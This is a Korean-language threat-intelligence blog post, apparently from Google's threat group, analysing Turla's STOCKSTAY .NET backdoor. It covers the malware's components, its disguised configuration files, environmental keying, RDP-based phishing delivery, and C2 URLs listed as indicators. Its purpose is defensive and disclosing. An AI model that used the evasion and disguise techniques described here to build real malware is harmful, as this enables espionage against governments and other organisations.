STOCKSTAY Another Day: Turla의 정보 수집 체계에 추가된 최신 도구
Google Threat Intelligence Group
Google Threat Intelligence
Visibility and context on the threats that matter most.
Contact Us & Get a Demo서론
Google 위협 인텔리전스 그룹(GTIG)은 최소 2022년 12월부터 러시아 연계 위협 행위자인 Turla(일명 SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-0194)가 지속적으로 개발하고 배포해 온 STOCKSTAY로 추적되는 .NET 백도어에 대한 심층 분석을 수행했습니다. Turla는 이탈리아 외교 정책에 관심이 있는 실체들뿐만 아니라 우크라이나의 정부 및 군사 조직을 대상으로 STOCKSTAY를 배포해 왔습니다. 지속적인 사이버 스파이 활동에 사용되는 이 백도어는 이전에 Turla의 소행으로 파악된 성공적인 툴킷인 KAZUAR과 상당한 코드 및 기능적 중복을 공유합니다. 이 그룹은 정치적 긴장이 고조된 상황에서 서구의 외무부와 국방 조직에 특히 중점을 두고 광범위한 산업 분야를 표적으로 삼아온 오랜 역사를 가지고 있습니다.
Turla, 특히 그들의 오래된 Snake 임플란트는 미국 사이버보안 및 인프라 보안국(CISA)에 의해 러시아 연방보안국(FSB)의 Center 16 소행으로 공개적으로 규명되었습니다. Turla는 의심되는 활동이 최소 2004년까지 거슬러 올라가는 가장 오래된 것으로 알려진 사이버 스파이 그룹 중 하나입니다. 이 행위자는 Signal 메신저 사용자로부터 안전한 통신을 가로채기 위한 전문화된 스크립트 배포, 우크라이나 조직을 표적으로 삼기 위한 레거시 범죄 봇넷 하이재킹, 그리고 매우 정교한 KAZUAR 툴킷을 사용하여 군사 국방 분야를 표적으로 삼은 최근 캠페인에서 알 수 있듯이, 여전히 활발히 활동하고 있으며 전달 방법을 계속 진화시키고 있습니다. 이 그룹에 대한 지속적인 추적의 일환으로, 이 블로그 포스트는 우리의 STOCKSTAY 분석에 대한 개요를 제공하고, 주요 개발 및 운영 관찰 사항의 타임라인을 포함하며, KAZUAR과의 유사성을 조사하여 Turla의 끊임없이 확장되는 무기고 내에서 이 새로운 기능의 맥락을 설명합니다.
STOCKSTAY 개요
STOCKSTAY는 Windows Forms 프레임워크를 사용하는 .NET으로 작성된 다중 구성 요소 백도어로, 오픈 소스 websocket-sharp 라이브러리를 활용하여 안전한 WebSocket 연결을 통해 명령 및 제어(C2)와 통신합니다. STOCKSTAY는 WM_COPYDATA 메시지 교환을 기반으로 하는 프로세스 간 통신(IPC) 채널을 통해 서로 통신하는 여러 개의 고유한 구성 요소로 구성됩니다.
STOCKSTAY는 원래 주식 시장 데이터 보기 도구로 위장하도록 설계되었으며, 이 위장은 파일 명명 체계와 임플란트 환경 설정, 제어 메시지 및 응답 데이터 저장소 모두에 반영되었습니다. GTIG가 관찰한 이 악성코드의 초기 버전은 이러한 위장의 내부적인 측면을 유지하고 있었지만, 2025년에 우리는 PDF 뷰어 및 계산기 유틸리티와 같은 다른 무해한 애플리케이션으로 위장한 STOCKSTAY 변종을 식별했습니다.


그림 1: STOCKSTAY 악성코드 아키텍처 개요
STOCKSTAY.STOCKBROKER
STOCKSTAY.STOCKBROKER는 더 넓은 STOCKSTAY 에코시스템에 네트워크 통신 기능을 제공하는 프록시 인식 터널러입니다. 내부적으로 "net"으로 지칭되는 STOCKSTAY.STOCKBROKER는 지정된 원격 서버로 보안 WebSocket 연결을 수립하도록 명령을 받을 수 있으며, 그 후 서버와 STOCKSTAY.STOCKMARKET 오케스트레이터 간의 릴레이 역할을 수행합니다. 그 결과, STOCKSTAY와 구성된 C2 서버 간의 모든 C2 통신은 STOCKSTAY.STOCKBROKER에 의해 처리되며, 감염된 기기 내의 다른 호스트 기반 악성 활동으로부터 악성코드의 네트워크 통신을 격리합니다.
STOCKSTAY.STOCKMARKET
내부적으로 “cor”로 지칭되는 STOCKSTAY.STOCKMARKET는 STOCKSTAY 에코시스템의 오케스트레이터이며, 임플란트의 구성을 가능하게 합니다. 악성코드의 구성 정보는 디스크 상의 암호화된 환경 설정 파일로부터 로드되며, 이 파일은 STOCKSTAY.STOCKBROKER가 요구하는 원격 WebSocket 서버의 상세 정보를 포함하여 악성코드 실행에 관한 여러 옵션을 정의합니다. 이 환경 설정 파일은 각 설정 필드에 대한 위조된 설명(그림 2)뿐만 아니라 암호화폐 시장과 관련된 다양한 정상 URL을 포함하여 스스로를 정상 파일로 위장하려고 시도합니다. 암호화된 구성 데이터는 디코이(decoy) 필드 내에 삽입되어 있으며, 이는 STOCKSTAY.STOCKMARKET에 의해 복호화됩니다.
{
"Name": "StockMarket",
"Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
"Theme": "Dark",
"SystemConfiguration": [
"1D.AA.79.9F.45.AA.04.B3.<snipped>.68.0A.5D.A3.E6.A3.82.FA",
"6F.41.4D.6D.C3.20.E5.32.<snipped>.00.B8.26.DF.E1.13.0A.21",
"4.4.3.12"
],
"Interval": 10,
"Services": [
"wss://ws-api.binance.com:443/ws-api/v3",
"wss://ws-feed.exchange.coinbase.com",
"wss://ws-feed-public.sandbox.exchange.coinbase.com",
"wss://stream.bybit.com/v5/public/spot",
"wss://stream.bybit.com/v5/public/linear"
],
"Version": "2022-12-21"
}
그림 2: 스스로를 거래 정보용 애플리케이션으로 허위 기술하여 위장한 암호화된 STOCKSTAY 환경 설정 파일 포맷
{
"internal_id": "<server_identifier>",
"internal_key": "<server_public_key>",
"interval_engine": "600000",
"level_info": "0",
"time_scale": "1",
"span_min": "9",
"span_max": "18",
"rate": "2700",
"rate_control": "false",
"service": "<websocket_c2_url>",
"days_not_work": "Saturday;Sunday;",
"system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}
그림 3: 복호화된 STOCKSTAY 환경 설정 파일 포맷
STOCKSTAY.STOCKMARKET는 WebSocket 서버의 상세 정보를 제공하고, 이후 수립된 WebSocket 연결을 통해 일반적으로 실행된 명령어의 결과를 포함하는 메시지를 송수신하기 위해 STOCKSTAY.STOCKBROKER와 통신합니다. 또한, STOCKSTAY.STOCKMARKET는 감염된 호스트에서 실행할 명령을 내리기 위해 STOCKSTAY.STOCKTRADER 구성 요소와 통신합니다.
최초 실행 시, STOCKSTAY.STOCKMARKET는 WebSocket을 통해 송신하기 전에 아웃바운드 데이터를 암호화하기 위해 임플란트 수명 주기 전반에 걸쳐 사용될 고유한 4096비트 RSA 키 쌍을 생성합니다. 임플란트의 공개 키는 서버가 작업 응답을 복호화할 수 있도록 악성코드의 첫 번째 요청에 포함되어 서버로 전송됩니다. STOCKSTAY.STOCKMARKET는 또한 C2 서버가 할당된 작업의 대상 수신처를 결정하는 데 사용할 고유한 감염 식별자(infection identifier)를 생성합니다. STOCKSTAY의 환경 설정 파일은 “internal_id” 필드를 지정하며, GTIG는 이것이 악성코드 에코시스템의 서버 측 구성 요소를 가리키는 식별자라고 분석합니다. 우리는 이 식별자가 여러 운영자가 공유하여 사용할 수 있는 임시 C2 서버로부터 응답을 회수하기 위해 악성코드 운영자들에 의해 사용된다고 분석합니다. 현재까지 GTIG는 이 식별자에 대해 단 하나의 고유한 값만을 관찰했으며, 원격 측정 데이터의 부족으로 인해 현재 여러 운영자가 STOCKSTAY를 활용하고 있는지 여부는 판단할 수 없습니다.
STOCKSTAY.STOCKTRADER
STOCKSTAY.STOCKTRADER(내부적으로 “sys”로 지칭됨)는 STOCKSTAY 에코시스템의 백도어 구성 요소로, 표 1에 상세히 기술된 바와 같이 감염된 호스트에서 다양한 레지스트리, 파일 및 명령어 실행 작업을 지원합니다.
표 1: STOCKSTAY.STOCKTRADER가 지원하는 백도어 명령어
관련 다운로더 및 인스톨러
STOCKSTAY.MARKETMAKER
STOCKSTAY.MARKETMAKER는 Windows Forms 프레임워크를 사용하는 .NET으로 작성된 프록시 인식 다운로더로, 원격 서버에서 추가 페이로드를 다운로드하고 압축 해제하며, Windows 레지스트리 수정을 통해 지속성을 유지하고, 사용자 인터페이스 없이 백그라운드에서 자동으로 실행됩니다. 이 다운로더는 STOCKSTAY의 핵심 구성 요소를 실행하기 위해 여러 자동 실행 항목을 설정하는 동안 정상 파일로 보이기 위해 "MicrosoftUpdateOneDrive"로 위장하는 것이 관찰되었습니다.
.NET AppDomainManager
분석 중에 GTIG는 필수 구성 요소를 다운로드하는 대신 대상 호스트에 샘플을 초기 배포하기 위해 외부 메커니즘(.NET AppDomainManager 주입 등)에 의존하는 STOCKSTAY.MARKETMAKER의 초기 개발 샘플로 판단되는 것을 식별했습니다.
STOCKSTAY Server-Side Controller
GTIG는 피해자 방향의 STOCKSTAY WebSocket 서버 컨트롤러의 Python 구현이 포함된 공개적으로 접근 가능한 GitHub 저장소를 식별했습니다. 서버 구성 요소의 경량화된 설계는 WebSockets를 포함한 웹 서비스 호스팅 플랫폼을 제공하는 Render 플랫폼과 같은 서드파티 호스팅 플랫폼의 위협 행위자 사용을 보완하는 것으로 보입니다. 서버가 인바운드 메시지를 복호화할 수 없기 때문에 플랫폼 운영자의 분석을 방지하고, 위협 행위자의 전용 인프라 위치를 추가로 난독화합니다. 이 아키텍처는 Turla의 다중 홉 KAZUAR C2 인프라와 다소 유사합니다.


그림 4: STOCKSTAY C2 인프라 개요
서버는 tornado.websocket.WebSocketHandler를 확장하여 표 2에 설명된 인터페이스를 /ws 경로 하에 제공하며, 이는 관찰된 모든 STOCKSTAY WebSocket C2 URL과 일치합니다.
표 2: STOCKSTAY WebSocket 서버 인터페이스 개요
데이터베이스 구조
서버는 표 3과 4에 표시된 구조로 weather_data1.db라는 파일 이름의 로컬 SQLite3 데이터베이스를 유지합니다.
표 3: weather_data 데이터베이스 테이블 구조
표 4: log 데이터베이스 테이블 구조
주요 운영 특징
학술 또는 외교적 위장 콘텐츠의 일관된 사용
STOCKSTAY 작전에 관여된 위협 행위자들은 자신들의 인프라 및 유인/위장 콘텐츠에 학술 및 외교 분야를 결합하는 것을 선호하는 경향이 있으며, 여기에는 다음 사항들이 포함됩니다:
-
피싱 이메일을 유포하기 위해 우크라이나 대학에 속한 이메일 계정 해킹
-
악성 RDP 파일의 파일 이름 내에 학술 기관의 이름 사용
-
피싱 및 악성 RDP 파일 배포를 위해 해킹된 외교 주제의 교육 플랫폼 악용
-
등록된 피싱 도메인 내에서 “education” 및 “diplo” 사용
-
STOCKSTAY MSI 파일 내에서 제품 이름으로 “DiplomacyEduAI” 사용
지속적인 우크라이나 표적 공격
GTIG가 관찰한 STOCKSTAY 작전의 상당 부분은 두 국가 간에 진행 중인 갈등과 관련된 러시아의 이익과 일치하게 우크라이나 내부의 정부 또는 군사 조직을 표적으로 삼았습니다. 위협 행위자는 이러한 작전을 지원하기 위해 해킹된 정부 서비스를 포함하여 우크라이나 내부의 해킹된 인프라를 활용하여 STOCKSTAY와 다양한 추가 페이로드를 모두 배포하는 것이 관찰되었습니다.
유럽 표적 공격 의심
GTIG가 관찰한 소수의 STOCKSTAY 작전은 유럽 단체를 표적으로 삼은 것으로 보음입니다. 이탈리아, 네덜란드, 폴란드, 독일을 포함한 다양한 유럽 국가에서 STOCKSTAY의 초기 개발 샘플이 식별되었으나, 우리는 이러한 초기 감염의 대부분에 대해 의도된 피해자를 확인하지 못했으며, 이러한 샘플이 위협 행위자가 VirusTotal과 같이 공개적으로 사용 가능한 바이러스 검사 서비스를 상대로 자신들의 기능을 테스트한 결과로 식별되었는지 여부도 대체로 확인하지 못했습니다. GTIG는 최소 한 건의 사례에서 피싱 및 의심되는 STOCKSTAY 활동과 관련하여 유럽의 외무부와 관련이 있거나 이에 관심이 있는 단체를 표적으로 삼았음을 식별할 수 있었습니다.
악성 RDP 파일을 통한 배포
GTIG는 악성 RDP 환경 설정 파일을 사용한 피싱 공격이 성공한 후 STOCKSTAY가 배포되는 것을 관찰했습니다. 이 RDP 파일은 피해자의 기기에서 공격자가 통제하는 인프라로의 연결을 생성하도록 설계되었으며, 이를 통해 공격자는 이후의 페이로드를 배포할 수 있었습니다.
2025년 초의 한 작전에서 GTIG는 국방 관련 훈련 아카데미에서 발송된 것이라고 주장하며 악성 RDP 파일 첨부를 포함한 피싱 이메일을 식별했습니다. 피해자가 공격자의 인프라에 연결된 후 짧은 시간 내에, 공격자는 피해자의 기기에 전체 STOCKSTAY 제품군을 가져와 설치하도록 설계된 .NET 다운로더인 STOCKSTAY.MARKETMAKER를 배포했습니다.
이후 2025년 중반에 GTIG는 해킹된 외교 주제의 교육 플랫폼에서 이와 유사한 악성 RDP 파일이 호스팅되는 것을 식별했으며, 온라인 교육 포털에 접속할 수 있도록 한다는 구실 하에 피해자가 파일을 다운로드하고 실행하도록 유도했습니다. GTIG는 이 작전의 결과로 궁극적으로 STOCKSTAY가 배포되었는지 여부는 확인할 수 없었으나, 두 작전 모두에서 공격자의 인프라 및 교육 주제의 위장이 중복된다는 점은 STOCKSTAY가 의도된 페이로드였음을 시사할 수 있습니다.
작전의 여러 단계에서의 배포
GTIG의 가시성을 통해, 우리는 위협 행위자가 작전의 여러 고유한 단계에서 STOCKSTAY를 사용함을 식별했습니다.
첫 번째 사례로, 위협 행위자는 그룹의 정찰 활동이 아직 진행되지 않은 환경에 최초 침투하기 위해 작전 중에 STOCKSTAY를 사용합니다. 이러한 경우 STOCKSTAY는 하드코딩된 환경 설정 패스워드로 구성되어 있어 분석가가 손쉽게 추출할 수 있습니다. 우리는 이러한 유형의 감염이 그룹의 피싱 작전에서 비롯된 것을 관찰했으며, 여기서 위협 행위자는 피해자의 네트워크 내에서 자신들이 정확히 어느 위치에서 최초 발판을 확보할지 판단할 수 없습니다.
정찰 이후의 작전 후기 단계에서 위협 행위자가 STOCKSTAY를 배포할 때, STOCKSTAY는 환경 설정을 위해 환경 키잉(environmental keying)을 포함하도록 구성되어 악성코드가 특정 호스트, 특정 사용자, 특정 도메인 내 또는 이러한 속성들의 사전에 결정된 조합 중 하나에서 실행되어야 하도록 요구합니다. 이러한 구성은 이 단계에서 공격자가 대상 환경에 대한 기존 접속 권한을 통해 표적이 되는 정확한 장비를 알고 있음을 의미합니다. 이는 이전에 KAZUAR 등 그룹의 다른 도구에 크게 의존했던 작전의 끝 무렵에 우크라이나 네트워크 내부에서 STOCKSTAY가 배포된 상황에서 나타났습니다.
KAZUAR과의 중복점
K1MORPHER 문자열 난독화
2025년 4월, GTIG는 Game Developers Conference 2017에서 발표된 "Squirrel3"라는 무명의 유사 난독화 유사 무작위 수 생성 알고리즘에 기반한 새로운 문자열 난독화 메커니즘을 구현하도록 STOCKSTAY가 업데이트된 것을 관찰했습니다.
GTIG는 나중에 STOCKSTAY 버전 중 일부에서 원래의 클래스 이름을 여전히 포함하고 있는 것을 식별했으며, 이를 통해 런타임 문자열 복호화를 담당하는 코드가 "K1.Morpher"라는 이름의 클래스 내에 포함되어 있음을 확인했습니다. K1_MORPH_ER(K1MORPHER) 분석 결과 문자열, 정수, 배열 등 다양한 데이터 유형에 대한 런타임 역난독화를 수행하는 능력이 있음이 밝혀졌습니다.
2025년 6월, GTIG는 KAZUAR 샘플에서 K1_MORPH_ER 코드가 나타나는 것을 포착했습니다. KAZUAR은 역사적으로 탐지를 우회하기 위해 정크 코드 삽입, 정적 상수 값을 XOR 연산 결과로 대체, 대량의 고유 문자 치환 테이블 사용 등 자체적인 단순하지만 효과적인 코드 및 문자열 난독화 기술을 사용해 왔습니다. 위협 행위자가 STOCKSTAY 내에서 K1_MORPH_ER를 사용하는 것은 2024년 4월 해킹된 키프러스 웹사이트에서 호스팅된 STOCKSTAY의 의심되는 테스트 빌드에서 관찰된 바와 같이, 난독화가 여러 고유 클래스에 의해 처리되는 KAZUAR의 다중 클래스 난독화 기술을 모방하는 경향을 보이는 것으로 판단됩니다.
임플란트 아키텍처
최소 2024년부터 KAZUAR은 C2 통신, 작업 오케스트레이션 및 작업 실행이 별도의 구성 요소에 의해 관리되는 다중 구성 요소 아키텍처를 사용하여 배포되는 것이 관찰되었습니다. KAZUAR 에코시스템 내에서 이러한 구성 요소는 각각 "BRIDGE", "KERNEL", "WORKER"로 지칭됩니다.
2023년 말 기준, GTIG는 STOCKSTAY 에코시스템 내에서 동일한 역할들이 개별 구성 요소로 분리되어 있는 유사한 역할 분담을 식별했습니다. C2 통신은 GTIG가 STOCKSTAY.STOCKBROKER로 추적하는 구성 요소에 의해 관리되는 반면, 작업 오케스트레이션 및 실행은 각각 STOCKSTAY.STOCKMARKET 및 STOCKSTAY.STOCKTRADER에 의해 처리됩니다.
환경 키잉
KAZUAR과 STOCKSTAY 에코시스템 모두 탐지 및 분석으로부터 스스로를 보호하기 위해 환경 키잉(environmental keying)을 사용하는 것이 관찰되었습니다.
실행 체인에서 종종 KAZUAR보다 먼저 배포되는 다운로더인 DIAMONDBACK은 대상 환경 외부에서 자신의 의도가 노출되는 것을 방지하기 위해 페이로드를 복호화하는 과정에서 대상의 호스트 이름 해시를 활용해 왔습니다. 최신 버전의 DIAMONDBACK은 페이로드를 복호화하는 데 필요한 해시에 대상의 사용자 이름과 도메인 이름을 포함하도록 구성할 수 있습니다.
STOCKSTAY는 환경 설정 데이터를 복호화하는 동안 대상의 호스트 이름 또는 도메인 이름 해시를 사용하여 의도된 환경에서 가동되지 않는 한 C2 인프라 정보가 노출되는 것을 방지하는 것이 관찰되었습니다.
중복점 요약
GTIG는 중간 신뢰도로 STOCKSTAY와 KAZUAR이 공통 개발자 또는 개발 팀에 의해 부분적으로 개발될 수 있으며, 두 악성코드 에코시스템 간에 활발한 개발이 병행하여 진행되고 있다고 분석합니다. 우리는 STOCKSTAY가 KAZUAR의 설계를 모방하여 개발되고 있으며, 이 오래된 툴킷을 사용하여 작전을 수행한 위협 행위자의 풍부한 경험에서 비롯된 여러 설계 결정들이 반영된 것으로 판단합니다. 두 에코시스템 모두 .NET 개발에 크게 의존하며, 작전의 다양한 단계에서 해킹된 워드프레스(WordPress) 사이트를 사용하는 것이 관찰되었습니다.
우리는 실제 작전 중에 STOCKSTAY가 KAZUAR과 함께 배포되는 것에 대한 관찰 결과가, 위협 행위자가 특히 가까운 미래에 자사 기존 권한이 회수(Remediation)될 것으로 예상하는 상황에서 실제 작전 환경을 통해 새로운 기능을 테스트하려는 시도의 결과일 수 있다는 점을 낮은 신뢰도로 분석합니다.
STOCKSTAY 타임라인
GTIG는 최소 2022년 12월까지 거슬러 올라가는 의심스러운 개발 활동을 식별하면서 STOCKSTAY의 이력에 대한 철저한 조사를 진행했습니다. 다음은 STOCKSTAY의 개발 및 배포를 둘러싼 일련의 사건 타임라인에 대한 우리의 평가입니다. 이 블로그 포스트에 기술된 활동을 헌팅하고 식별하는 데 더 넓은 커뮤니티를 지원하기 위해, 우리는 관찰된 각 작전 섹션 내부와 등록된 사용자를 위한 GTI 컬렉션(GTI Collection)에 침해 지표(IOC)를 포함해 두었습니다.


그림 5: STOCKSTAY 관찰 타임라인
2022년 12월
STOCKSTAY를 포함하는 MSI 파일 및 ZIP 아카이브의 타임스탬프 정보에 따르면, 관찰된 대다수의 STOCKSTAY.STOCKBROKER 샘플에 번들로 제공되는 오픈 소스 websocket-sharp.dll의 버전이 마지막으로 수정되었습니다 [1]. 비록 오픈 소스 라이브러리를 기반으로 구축되었으나, 이 특정 인스턴스는 행위자가 직접 컴파일한 것으로 보이며, 이에 따라 이 악성코드의 지속적인 개발을 추적할 수 있는 고유하게 식별 가능한 아티팩트가 생성되었습니다.
표 5: 파일 지표
2023년 9월 21일: 독일
독일에서 “DriversPrinterGraphic.rar”라는 파일 이름으로 초기 버전의 STOCKSTAY가 VirusTotal에 업로드되었습니다. 아카이브의 타임스탬프로 볼 때, 이 샘플은 생성된 지 20분 이내에 제출된 것으로 보이며, 이는 악성코드 개발자가 직접 제출했음을 나타낼 가능성이 높습니다.
이 버전은 악성코드가 고유한 역할 기반 구성 요소로 분리되기 전의 버전으로, 대신 모든 핵심 기능을 단일 실행 파일인 StockMarketNews.exe에 통합하고 있었습니다 [1]. 또한, 이 버전의 STOCKSTAY는 주식 시장 유틸리티로 가장하면서도 환경 설정 옵션 및 명령 메시지를 조회/편집할 수 있는 그림 6에 표시된 사용자 인터페이스를 포함하고 있었습니다.


그림 6: 초기 STOCKSTAY 사용자 인터페이스
이 특정 STOCKSTAY 샘플은 약간 다른 환경 설정 파일 포맷을 사용하지만, 기본적인 환경 설정 옵션은 이후 버전과 일치합니다. 이 샘플은 또한 환경 설정 파일을 위해 환경 키잉을 활용하며, 의도된 대상의 소문자 호스트 이름을 복호화 패스워드로 사용합니다. GTIG는 현재 이 패스워드를 복구하지 못했습니다.
표 6: 파일 지표
2023년 12월 5일 ~ 6일: 네덜란드
네덜란드에서 2023-12-06 08:52:49에 “apps_libwallets_v1.3.rar”라는 파일 이름으로 STOCKSTAY를 포함하는 추가 RAR 아카이브가 VirusTotal에 제출되었습니다 [1]. 이 아카이브는 전날인 2023-12-05 16:47:42에 마지막으로 수정되었습니다. 이러한 패턴은 해당 개인이 근무 일과가 끝날 때 아카이브를 생성한 다음, 이튿날 사무실로 복귀했을 때 이를 제출했음을 나타낼 수 있습니다.
이 STOCKSTAY 인스턴스는 GTIG가 관찰한 사례 중 표 7에 표시된 파일 이름을 사용하여 악성코드의 핵심 기능이 고유한 역할 기반 구성 요소로 분리된 첫 번째 사례였습니다.
표 7: 2023년 12월에 관찰된 STOCKSTAY 구성 요소 파일명
이전 2023년 9월에 관찰된 샘플과 유사하게, 이 STOCKSTAY 인스턴스 역시 환경 키잉을 사용했으나, 이 인스턴스는 대상 컴퓨터의 도메인 이름을 환경 설정 패스워드로 사용했습니다. GTIG는 현재 이 패스워드를 복구하지 못했습니다.
표 8: 파일 지표
2024년 1월: 우크라이나
GTIG는 2023년 말 우크라이나 조직의 침해와 관련하여 맨디언트(Mandiant)가 수행한 침해 사고 대응을 검토했으며, 이 과정에서 Turla가 침해된 도메인 컨트롤러로부터 악성 GPO 설치를 통해 WILDDAY, DIAMONDBACK 및 KAZUAR을 포함한 광범위한 도구를 피해자의 네트워크에 배포하는 것을 관찰했습니다. 이 활동에는 감염된 조직 내의 여러 머신에 악성코드를 배포하기 위한 다른 단순한 스크립트 및 백도어들이 동반되었습니다.
검토 과정에서 GTIG는 감염된 도메인 컨트롤러의 영향을 받은 호스트 중 하나에서 STOCKSTAY 실행 흔적을 식별했습니다. STOCKSTAY의 핵심 구성 요소 중 하나 또는 해당 환경 설정을 포함하는 여러 개의 ZIP 아카이브가 도메인 컨트롤러에 업로드되었습니다. 이 파일들은 STOCKSTAY가 호스트에 나타나기 전후로 WILDDAY를 설치하는 데 사용되는 레지스트리 파일을 스테이징하기 위한 디렉터리뿐만 아니라, 도메인 컨트롤러에서 실행되는 것이 관찰된 미상의 PowerShell 백도어(iclsClient.ps1)의 출력을 스테이징하기 위한 디렉터리 내에서 발견되었습니다.
이 작전 과정에서 STOCKSTAY 핵심 구성 요소 실행 파일과 함께 초기 STOCKSTAY 환경 설정 파일이 도메인 컨트롤러에 배포되었으나, 이 파일은 알려진 패스워드나 환경 식별자를 사용하여 복호화할 수 없었습니다. 얼마 후, 맨디언트는 침해된 네트워크와 관련된 도메인 이름을 사용하여 암호화된 두 번째 환경 설정 파일이 도메인 컨트롤러에 배포되는 것을 관찰했습니다. GTIG는 중간 신뢰도로 초기 환경 설정 파일의 배포가 위협 행위자의 실수(아마도 다른 피해자와 관련된 환경 설정 파일을 배포함)이거나, 피해자의 환경에서 악성코드가 조기에 탐지될 경우 민감한 C2 상세 정보가 캡처되는 것을 방지하기 위해 초기 배포 시 기본 또는 무효한 환경 설정 파일이 STOCKSTAY와 번들로 묶인 결과라고 분석합니다.
성공적으로 복호화된 환경 설정은 wss://wool-basalt-clock.glitch.me/ws라는 STOCKSTAY WebSocket C2 URL을 정의했습니다. 또한, 이 환경 설정은 피해자 시스템에서 월요일부터 금요일까지 09:00에서 18:00 사이의 운영 시간 범위를 지정했습니다. 이러한 시간 기반 제한은 C2 통신을 피해자 네트워크의 정상적인 비즈니스 운영과 융합시키기 위한 의도로 보입니다. 이와 동일한 시간 범위가 GTIG가 분석한 대다수의 STOCKSTAY 환경 설정 파일에서 관찰되었습니다.
특히 이 작전의 끝 무렵에 맨디언트는 KAZUAR의 C2 엔드포인트 중 하나와 관련된 방화벽 탐지 사항을 식별했습니다. GTIG는 낮은 수준에서 중간 수준의 신뢰도로 위협 행위자가 자사 C2를 둘러싼 의심을 인지하고 KAZUAR이 식별되어 복구(remediated)될 경우에 대비한 안전장치(failsafe)로 STOCKSTAY를 배포함으로써, STOCKSTAY가 탐지되지 않은 상태로 유지될 경우 차후에 재감염이 가능하도록 했을 수 있다고 분석합니다.
표 9: 네트워크 지표
2024년 2월: 이탈리아
이탈리아에서 2024-02-20 11:45:26에 “Copia.msi”라는 파일 이름으로 STOCKSTAY를 설치하도록 구성된 MSI 파일이 VirusTotal에 업로드되었습니다. 이 MSI는 ICSharpCodeTeam이 개발한 ILSpy 애플리케이션으로 위장하였으며, 다수의 정상적이고 무해한 구성 요소를 포함하고 있었습니다 [1]. 이 MSI는 %LOCALAPPDATA%/Programs/SMN/ 경로 하단에 STOCKSTAY 핵심 구성 요소를 설치하고, 레지스트리 실행 키를 통해 지속적인 실행을 활성화했습니다.
MSI에 포함된 STOCKSTAY 샘플은 2024년 1월 29일에서 1월 31일 사이에 컴파일되었으며, 환경 설정 파일은 VirusTotal에 제출되기 불과 일주일 전인 2024년 2월 13일에 마지막으로 수정되었습니다.
STOCKSTAY 설치 외에도, 이 MSI 파일은 “OpenUrl”이라는 이름의 커스텀 MSI 액션을 포함하고 있었습니다. 이 액션은 InstallUISequence 테이블에서 시퀀스 번호 1을 가지고 있어, 다른 어떤 액션보다 먼저 실행되어야 함을 나타냅니다 [1]. 이 커스텀 액션은 다음 명령어를 실행하도록 구성되었습니다.
viewer.exe
https://circoloesteri.elezioni.idnet.it/admin-election/riepilogo.php해당 URL을 조회했을 때, 선거(“elezioni”) 및 공식 웹사이트(https://www.circoloesteri.it/)에 따르면 “외무부를 대변”하기 위해 설립된 이탈리아 단체인 “Circolo Degli Esteri”에 대한 참조가 포함되어 있었습니다.. 우리는 현재 이 행위자가 이탈리아 선거를 직접 표적으로 삼았다고 분석하지 않으며, 대신 피해자들을 표적으로 삼기 위해 선거 관련 피싱 유인책을 사용한 것으로 분석합니다 [1]. 제한된 가시성으로 인해 우리는 이 특정 작전의 초기 단계를 식별하지 못했으며, 잠재적인 관련 피싱 캠페인의 의도된 대상의 신원도 확인할 수 없습니다.
Foreign Affairs Club 1936
Approval of the 2023 Financial Statement
Analysis of the status of those registered to vote (automatically updates every 60 seconds)...
update 6:26:50
Total Voters: 915
Currently registered members with 2-tonte status: 364
Currently registered with status 4 Ready to vote: 5
Currently registered with status 3 - Voted 46
Voter turnout (votes cast on registered voters): 5.03%

그림 7: 이탈리아의 Circolo Degli Esteri와 연관된 것으로 주장하는 이탈리아어 위장 콘텐츠
결정적이지는 않으나, 이는 이탈리아어를 구사하는 개인 또는 조직을 대상으로, 구체적으로 외교 분야에 중점을 두고 STOCKSTAY를 배포하려는 의도를 나타내는 것으로 보입니다.
이전의 STOCKSTAY 사례들과 마찬가지로, 이 샘플 역시 환경 설정 파일을 위해 환경 키잉을 활용했습니다 [1]. GTIG는 wss://wool-basalt-clock.glitch.me/ws라는 WebSocket C2 주소를 식별하기 위해 환경 설정 파일을 복호화하는 데 사용된 도메인 이름을 복구할 수 있었습니다. 이는 2024년 1월에 사용된 C2 주소와 일치합니다.
표 10: 파일 지표
표 11: 네트워크 지표
2025년 3월 18일 ~ 4월 3일: 우크라이나
2025년 4월 2일, GTIG는 새로운 원격 학습 환경의 테스트와 관련된 내용으로 우크라이나 대학에서 발송된 것처럼 가장한 메시지가 담긴 피싱 이메일을 발송하는 해킹된 이메일 계정을 식별했습니다. 위협 행위자는 이메일에 악성 RDP(Remote Desktop Protocol) 파일을 첨부했으며, 이를 열었을 때 피해자와 동일한 학술 기관을 모방하여 행위자가 등록한 도메인에서 호스팅되는 개방된 RDP 포트(3389) 간의 연결이 수립되었습니다.
피해자가 공격자의 인프라에 연결되자, GTIG는 행위자가 STOCKSTAY.MARKETMAKER를 클라이언트에 배포하는 것을 관찰했습니다. STOCKSTAY.MARKETMAKER는 우크라이나 국가규제국(State Regulatory Service of Ukraine) 소유의 정상적이지만 해킹된 웹사이트에서 STOCKSTAY를 포함하는 ZIP 파일을 다운로드하도록 구성되어 있었습니다. 이전 관찰 사례들의 대다수와는 대조적으로, 이 작전 중에 관찰된 환경 설정 파일은 하드코딩된 패스워드로 보호되어 있었습니다. 이는 위협 행위자가 특정 도메인이나 호스트 이름을 알지 못해 환경 키잉을 사용할 수 없는, 스피어 피싱을 통한 피해자 환경으로의 최초 침투에 초점을 맞춘 본 특정 작전의 특징에 부합하는 것으로 보입니다. GTIG는 wss://weatherdataai.theworkpc.com/ws라는 WebSocket C2 URL을 사용하는 악성코드를 식별할 수 있었습니다.
STOCKSTAY.MARKETMAKER에 의해 다운로드된 ZIP 아카이브와 연관된 메타데이터에 따르면, 이 작전 중에 사용된 핵심 STOCKSTAY 구성 요소는 3월 18일에서 26일 사이에 마지막으로 수정되었으며, 환경 설정 파일은 3월 31일에 마지막으로 수정되었습니다.
표 12: 파일 지표
표 13: 네트워크 지표
2025년 5월 14일: 폴란드
GTIG는 2025년 5월 14일 폴란드에서 두 개의 STOCKSTAY.STOCKBROKER 샘플이 VirusTotal에 업로드된 것을 식별했습니다.
